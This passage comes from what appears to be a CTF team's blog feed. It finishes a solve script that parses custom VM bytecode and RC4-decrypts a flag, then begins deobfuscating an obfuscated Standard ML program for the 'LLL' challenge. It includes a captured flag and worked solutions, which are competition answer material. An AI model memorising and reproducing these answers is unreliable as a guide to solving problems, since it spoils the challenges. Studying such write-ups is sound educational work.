</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(key) &lt; <span style="color:#d0bf69">16</span>:
</span></span><span style="display:flex;"><span>			key.append(code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	parse_code(<span style="color:#fc6a5d">&#39;add&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">elif</span> op == ASSERT:
</span></span><span style="display:flex;"><span>	parse_code(<span style="color:#fc6a5d">&#39;assert&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	ciphertext.append(code[i+<span style="color:#d0bf69">3</span>])
</span></span></code></pre></div><p>Now for the final step, decrypt the ciphertext:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> Crypto.Cipher <span style="color:#fc5fa3">import</span> ARC4
</span></span><span style="display:flex;"><span>cipher = ARC4.new(key=<span style="color:#d0a8ff">bytes</span>(key))
</span></span><span style="display:flex;"><span>flag = cipher.decrypt(<span style="color:#d0a8ff">bytes</span>(ciphertext))
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(flag.decode())
</span></span></code></pre></div><h2 id="final-solve-script">Final Solve Script</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>file = <span style="color:#fc6a5d">&#39;bytecode.bin&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(file, <span style="color:#fc6a5d">&#39;rb&#39;</span>) <span style="color:#fc5fa3">as</span> f:
</span></span><span style="display:flex;"><span>	code = f.read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ADD = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>SUB = <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>MUL = <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>DIV = <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>MOD = <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span>NOT = <span style="color:#d0bf69">5</span>
</span></span><span style="display:flex;"><span>OR = <span style="color:#d0bf69">6</span>
</span></span><span style="display:flex;"><span>AND = <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span>XOR = <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>MOV = <span style="color:#d0bf69">9</span>
</span></span><span style="display:flex;"><span>ASSERT = <span style="color:#d0bf69">10</span>
</span></span><span style="display:flex;"><span>PRINT = <span style="color:#d0bf69">11</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>REG_REG = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>MEM_IMM_MEM_IMM = <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>MEM_IMM_MEM_REG = <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>MEM_REG_MEM_IMM = <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>MEM_REG_MEM_REG = <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span>REG_IMM = <span style="color:#d0bf69">5</span>
</span></span><span style="display:flex;"><span>REG_MEM_IMM = <span style="color:#d0bf69">6</span>
</span></span><span style="display:flex;"><span>REG_MEM_REG = <span style="color:#d0bf69">7</span>
</span></span><span style="display:flex;"><span>MEM_IMM_IMM = <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>MEM_REG_IMM = <span style="color:#d0bf69">9</span>
</span></span><span style="display:flex;"><span>MEM_IMM_REG = <span style="color:#d0bf69">10</span>
</span></span><span style="display:flex;"><span>MEM_REG_REG = <span style="color:#d0bf69">11</span>
</span></span><span style="display:flex;"><span>REG_PLAIN = <span style="color:#d0bf69">12</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>DEBUG = <span style="color:#fc5fa3">False</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">parse_code</span>(op: <span style="color:#d0a8ff">str</span>, mode: <span style="color:#d0a8ff">int</span>, op1: <span style="color:#d0a8ff">int</span>, op2: <span style="color:#d0a8ff">int</span>):
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> not DEBUG:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> mode == REG_IMM or mode == REG_PLAIN:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, </span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == MEM_IMM_IMM:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> mem[</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">], </span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == REG_MEM_IMM:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, mem[</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">]&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == REG_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == MEM_IMM_MEM_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> mem[</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">], mem[r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">]&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == MEM_REG_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> mem[r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">], r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == REG_MEM_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, mem[r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">]&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> mode == MEM_REG_MEM_REG:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d"> mem[r</span><span style="color:#fc6a5d">{</span>op1<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">], mem[r</span><span style="color:#fc6a5d">{</span>op2<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">]&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;Unknown mode for </span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">: </span><span style="color:#fc6a5d">{</span>mode<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>		exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ciphertext = []
</span></span><span style="display:flex;"><span>key = []
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>i = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> i &lt; <span style="color:#d0a8ff">len</span>(code):
</span></span><span style="display:flex;"><span>	op = code[i]
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> op == PRINT:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> DEBUG:
</span></span><span style="display:flex;"><span>			<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;print&#39;</span>)
</span></span><span style="display:flex;"><span>		i += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">continue</span>
</span></span><span style="display:flex;"><span>	mode = code[i+<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> op == MOV:
</span></span><span style="display:flex;"><span>		parse_code(<span style="color:#fc6a5d">&#39;mov&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> op == ADD:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> mode == REG_IMM or mode == REG_PLAIN:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(key) &lt; <span style="color:#d0bf69">16</span>:
</span></span><span style="display:flex;"><span>				key.append(code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>		parse_code(<span style="color:#fc6a5d">&#39;add&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> op == XOR:
</span></span><span style="display:flex;"><span>		parse_code(<span style="color:#fc6a5d">&#39;xor&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> op == ASSERT:
</span></span><span style="display:flex;"><span>		parse_code(<span style="color:#fc6a5d">&#39;assert&#39;</span>, mode, code[i+<span style="color:#d0bf69">2</span>], code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>		ciphertext.append(code[i+<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;Unknown op: </span><span style="color:#fc6a5d">{</span>op<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>		exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>	i += <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;key:&#39;</span>, key)
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;ciphertext:&#39;</span>, ciphertext)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> Crypto.Cipher <span style="color:#fc5fa3">import</span> ARC4
</span></span><span style="display:flex;"><span>cipher = ARC4.new(key=<span style="color:#d0a8ff">bytes</span>(key))
</span></span><span style="display:flex;"><span>flag = cipher.decrypt(<span style="color:#d0a8ff">bytes</span>(ciphertext))
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(flag.decode())
</span></span></code></pre></div><h2 id="flag">Flag</h2>
<p><code>TRX{RC4_1s_4_r3al_m4st3rp13c3}</code></p>
]]></content></item><item><title>TRX CTF 25 - LLL</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-lll/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-lll/</guid><description>&lt;h2 id="description">Description&lt;/h2>
&lt;p>LLL is my favourite programming lan&amp;hellip; Cryptographic algorithm&lt;/p>
&lt;h2 id="first-steps">First Steps&lt;/h2>
&lt;p>As we open the source file we can see that everything is obfuscated by changing the name of everything.
The simplest thing we can do, is run the code (give that is sml).
As we run the code (with &lt;code>use &amp;quot;LLL.sml&amp;quot;;&lt;/code> into the sml console) we see that loads the program and then it stops,
we can try to give &lt;code>test&lt;/code> as input, but it fails with a &lt;code>Flag length mismatch&lt;/code> exception.&lt;/p></description><content type="html"><![CDATA[<h2 id="description">Description</h2>
<p>LLL is my favourite programming lan&hellip; Cryptographic algorithm</p>
<h2 id="first-steps">First Steps</h2>
<p>As we open the source file we can see that everything is obfuscated by changing the name of everything.
The simplest thing we can do, is run the code (give that is sml).
As we run the code (with <code>use &quot;LLL.sml&quot;;</code> into the sml console) we see that loads the program and then it stops,
we can try to give <code>test</code> as input, but it fails with a <code>Flag length mismatch</code> exception.</p>
<p>Now we can try to find the length of the flag and where all of this happens;
at line 178 we can find where the input is taken:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sml" data-lang="sml"><span style="display:flex;"><span><span style="color:#fc5fa3">val</span> <span style="color:#41a1c0">l</span> = Option.getOpt (TextIO.inputLine TextIO.stdIn, <span style="color:#fc6a5d">&#34;NONE</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span></code></pre></div><p>This is used as argument to the function at line 141, where it compares the length of the input with <strong>29</strong>,
we can now start to recover some names, like <code>flag</code> and <code>flag_len</code>.</p>
<p>After running with a string of the correct length (28, because the 29th is the newline), we see a variable that holds an list of tuples of string and a number,
where the strings are &ldquo;l&rdquo; times their index+1 and the number is the ascii representation of the equivalent character.
so we can deobfuscate thi function in something like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sml" data-lang="sml"><span style="display:flex;"><span><span style="color:#fc5fa3">fun</span> <span style="color:#41a1c0">repeat_string</span>(n: int): string =
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> n &lt;= <span style="color:#d0bf69">0</span> <span style="color:#fc5fa3">then</span> <span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span> <span style="color:#fc6a5d">&#34;l&#34;</span> ^ repeat_string (n - <span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">fun</span> <span style="color:#41a1c0">init</span>(flag: string) =
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">let</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">val</span> <span style="color:#41a1c0">len</span> = String.size flag
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">in</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> len = flag_len <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">let</span>
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">val</span> <span style="color:#41a1c0">arr</span> = Array.array (flag_len + <span style="color:#d0bf69">1</span>, (<span style="color:#fc6a5d">&#34;&#34;</span>, <span style="color:#d0bf69">0</span>))
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">fun</span> <span style="color:#41a1c0">fillArray</span> i =
</span></span><span style="display:flex;"><span>					<span style="color:#fc5fa3">if</span> i &lt; flag_len <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>						(Array.update (arr, i, ((repeat_string (i+<span style="color:#d0bf69">1</span>)), Char.ord (String.sub (flag, i))));
</span></span><span style="display:flex;"><span>						 fillArray (i + <span style="color:#d0bf69">1</span>))
</span></span><span style="display:flex;"><span>					<span style="color:#fc5fa3">else</span> <span style="color:#fc5fa3">if</span> i = flag_len <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>						(Array.update (arr, i, (<span style="color:#fc6a5d">&#34;llllllllllllllllllllllllllllll&#34;</span>, <span style="color:#d0bf69">1</span>));
</span></span><span style="display:flex;"><span>						 fillArray (i + <span style="color:#d0bf69">1</span>))
</span></span><span style="display:flex;"><span>					<span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>						arr
</span></span><span style="display:flex;"><span>				<span style="color:#fc5fa3">fun</span> <span style="color:#41a1c0">arrayToList</span> arr = Array.foldr (<span style="color:#fc5fa3">op</span> ::) [] arr
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">in</span>
</span></span><span style="display:flex;"><span>				arrayToList (fillArray <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">raise</span> Fail <span style="color:#fc6a5d">&#34;Flag length mismatch&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">end</span>;
</span></span></code></pre></div><p>Now in the function the last thing remaining that is not that obvious, is <code>llllllllllllllllllllllllllllll</code>,
that we can find in the function below that is called at the end of the program,
So we can rename th unkown string as <code>correct</code> because of the print in the function,
and after looking into the other called function we can end up with something like:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sml" data-lang="sml"><span style="display:flex;"><span><span style="color:#fc5fa3">fun</span> <span style="color:#41a1c0">check</span>(result:(string * int) list) =
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">let</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">val</span> <span style="color:#41a1c0">correct</span> = findElementByKey(<span style="color:#fc6a5d">&#34;correct&#34;</span>, result)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">in</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> correct = <span style="color:#d0bf69">1</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>			print <span style="color:#fc6a5d">&#34;Correct!</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>			print <span style="color:#fc6a5d">&#34;Skill Issue!</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">end</span>;
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sml" data-lang="sml"><span style="display:flex;"><span><span style="color:#fc5fa3">exception</span> <span style="color:#5dd8ff">NotFoundException</span>;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">fun</span> <span style="color:#41a1c0">findElementByKey</span>(key: string, lst: (string * int) list): int =
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">case</span> lst <span style="color:#fc5fa3">of</span>
</span></span><span style="display:flex;"><span>		[] =&gt; <span style="color:#fc5fa3">raise</span> NotFoundException
</span></span><span style="display:flex;"><span>		| (k,v) :: rest =&gt;
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> k = key <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>				v
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>				findElementByKey(key, rest);
</span></span></code></pre></div><h2 id="type-deobfuscation">Type Deobfuscation</h2>
<p>We observe that the type <code>(string * int) list</code> is used throughout the program, suggesting that it serves as some sort of context or environment.
To simplify our analysis, we can assign generic names to various types for now, such as <code>type_1</code>, <code>type_2</code>, and for subtypes, <code>type_1_1</code>, <code>type_1_2</code>, etc.
Following this approach, we define the type structures accordingly.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sml" data-lang="sml"><span style="display:flex;"><span><span style="color:#fc5fa3">datatype</span> <span style="color:#fc5fa3">type_1</span> = <span style="color:#5dd8ff">type_1_1</span> <span style="color:#fc5fa3">of</span> int | <span style="color:#5dd8ff">type_1_2</span> <span style="color:#fc5fa3">of</span> string | <span style="color:#5dd8ff">type_1_3</span> <span style="color:#fc5fa3">of</span> type_1 * type_1 | <span style="color:#5dd8ff">type_1_4</span> <span style="color:#fc5fa3">of</span> type_1 * type_1 | <span style="color:#5dd8ff">type_1_5</span> <span style="color:#fc5fa3">of</span> type_1 * type_1 | <span style="color:#5dd8ff">type_1_6</span> <span style="color:#fc5fa3">of</span> type_1 * type_1;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">datatype</span> <span style="color:#fc5fa3">type_2</span> = <span style="color:#5dd8ff">type_2_1</span> | <span style="color:#5dd8ff">type_2_2</span> | <span style="color:#5dd8ff">type_2_3</span> <span style="color:#fc5fa3">of</span> type_2 * type_2 | <span style="color:#5dd8ff">type_2_4</span> <span style="color:#fc5fa3">of</span> type_2 * type_2 | <span style="color:#5dd8ff">type_2_5</span> <span style="color:#fc5fa3">of</span> type_2 | <span style="color:#5dd8ff">type_2_6</span> <span style="color:#fc5fa3">of</span> type_1 * type_1 | <span style="color:#5dd8ff">type_2_7</span> <span style="color:#fc5fa3">of</span> type_1 * type_1 | <span style="color:#5dd8ff">type_2_8</span> <span style="color:#fc5fa3">of</span> type_1 * type_1;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">datatype</span> <span style="color:#fc5fa3">type_3</span> = <span style="color:#5dd8ff">type_3_1</span> | <span style="color:#5dd8ff">type_3_2</span> <span style="color:#fc5fa3">of</span> type_3 * type_3 | <span style="color:#5dd8ff">type_3_3</span> <span style="color:#fc5fa3">of</span> string * type_1 | <span style="color:#5dd8ff">type_3_4</span> <span style="color:#fc5fa3">of</span> type_2 * type_3 * type_3 | <span style="color:#5dd8ff">type_3_5</span> <span style="color:#fc5fa3">of</span> type_2 * type_3 | <span style="color:#5dd8ff">type_3_6</span> | <span style="color:#5dd8ff">type_3_7</span> <span style="color:#fc5fa3">of</span> type_3;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">datatype</span> <span style="color:#fc5fa3">type_4</span> = <span style="color:#5dd8ff">type_4_1</span> | <span style="color:#5dd8ff">type_4_2</span> <span style="color:#fc5fa3">of</span> type_3 * type_4;
</span></span></code></pre></div><p>Upon closer examination of the functions, we notice that the first function operates on a <code>type_1</code> variable and includes cases for all its variants, similar to a tagged enum in other languages.
Likewise, the second function follows the same pattern for <code>type_2</code>, and so forth.</p>
<p>We can now attempt to deobfuscate these functions further.</p>
<p>Looking at the first function, we see that <code>type_1_1</code> simply unpacks its value, which must be an <code>int</code> (as inferred from the function’s type).
Most of the other subtypes recursively call the function while performing mathematical operations.
The exception is <code>type_1_2</code>, which, given a string, retrieves its corresponding value from the environment.</p>
<p>This suggests that type_1 represents an expression type, encompassing constants, mathematical operations, and variables (similar to objects).
We can rename all related elements accordingly.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sml" data-lang="sml"><span style="display:flex;"><span><span style="color:#fc5fa3">datatype</span> <span style="color:#fc5fa3">Exp</span> = <span style="color:#5dd8ff">Const</span> <span style="color:#fc5fa3">of</span> int | <span style="color:#5dd8ff">Var</span> <span style="color:#fc5fa3">of</span> string | <span style="color:#5dd8ff">Sum</span> <span style="color:#fc5fa3">of</span> Exp * Exp | <span style="color:#5dd8ff">Sub</span> <span style="color:#fc5fa3">of</span> Exp * Exp | <span style="color:#5dd8ff">Mul</span> <span style="color:#fc5fa3">of</span> Exp * Exp | <span style="color:#5dd8ff">Div</span> <span style="color:#fc5fa3">of</span> Exp * Exp;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">fun</span> <span style="color:#41a1c0">evalExp</span>(E:(string * int) list, ll<span style="color:#fc5fa3">:</span>Exp):int =
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">case</span> ll <span style="color:#fc5fa3">of</span>
</span></span><span style="display:flex;"><span>		Const v =&gt; v
</span></span><span style="display:flex;"><span>		| Var v =&gt; findElementByKey(v, E)
</span></span><span style="display:flex;"><span>		| Sum (v1, v2) =&gt; evalExp(E, v1) + evalExp(E, v2)
</span></span><span style="display:flex;"><span>		| Sub (v1, v2) =&gt; evalExp(E, v1) - evalExp(E, v2)
</span></span><span style="display:flex;"><span>		| Mul (v1, v2) =&gt; evalExp(E, v1) * evalExp(E, v2)
</span></span><span style="display:flex;"><span>		| Div (v1, v2) =&gt; evalExp(E, v1) div evalExp(E, v2);
</span></span></code></pre></div><p>For the second function, we can apply a similar approach and determine that it operates on boolean values.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sml" data-lang="sml"><span style="display:flex;"><span><span style="color:#fc5fa3">datatype</span> <span style="color:#fc5fa3">Bool</span> = <span style="color:#5dd8ff">True</span> | <span style="color:#5dd8ff">False</span> | <span style="color:#5dd8ff">And</span> <span style="color:#fc5fa3">of</span> Bool * Bool | <span style="color:#5dd8ff">Or</span> <span style="color:#fc5fa3">of</span> Bool * Bool | <span style="color:#5dd8ff">Not</span> <span style="color:#fc5fa3">of</span> Bool | <span style="color:#5dd8ff">Eq</span> <span style="color:#fc5fa3">of</span> Exp * Exp | <span style="color:#5dd8ff">Gt</span> <span style="color:#fc5fa3">of</span> Exp * Exp | <span style="color:#5dd8ff">Lt</span> <span style="color:#fc5fa3">of</span> Exp * Exp;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">fun</span> <span style="color:#41a1c0">evalBool</span>(E:(string * int) list, ll<span style="color:#fc5fa3">:</span>Bool):bool =
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">case</span> ll <span style="color:#fc5fa3">of</span>
</span></span><span style="display:flex;"><span>		True =&gt; true
</span></span><span style="display:flex;"><span>		| False =&gt; false
</span></span><span style="display:flex;"><span>		| And (lll,llll) =&gt; evalBool(E, lll) <span style="color:#fc5fa3">andalso</span> evalBool(E, llll)
</span></span><span style="display:flex;"><span>		| Or (lll,llll) =&gt; evalBool(E, lll) <span style="color:#fc5fa3">orelse</span> evalBool(E, llll)
</span></span><span style="display:flex;"><span>		| Not lll =&gt; not(evalBool(E, lll))
</span></span><span style="display:flex;"><span>		| Eq (lll,llll) =&gt; evalExp(E, lll) = evalExp(E, llll)
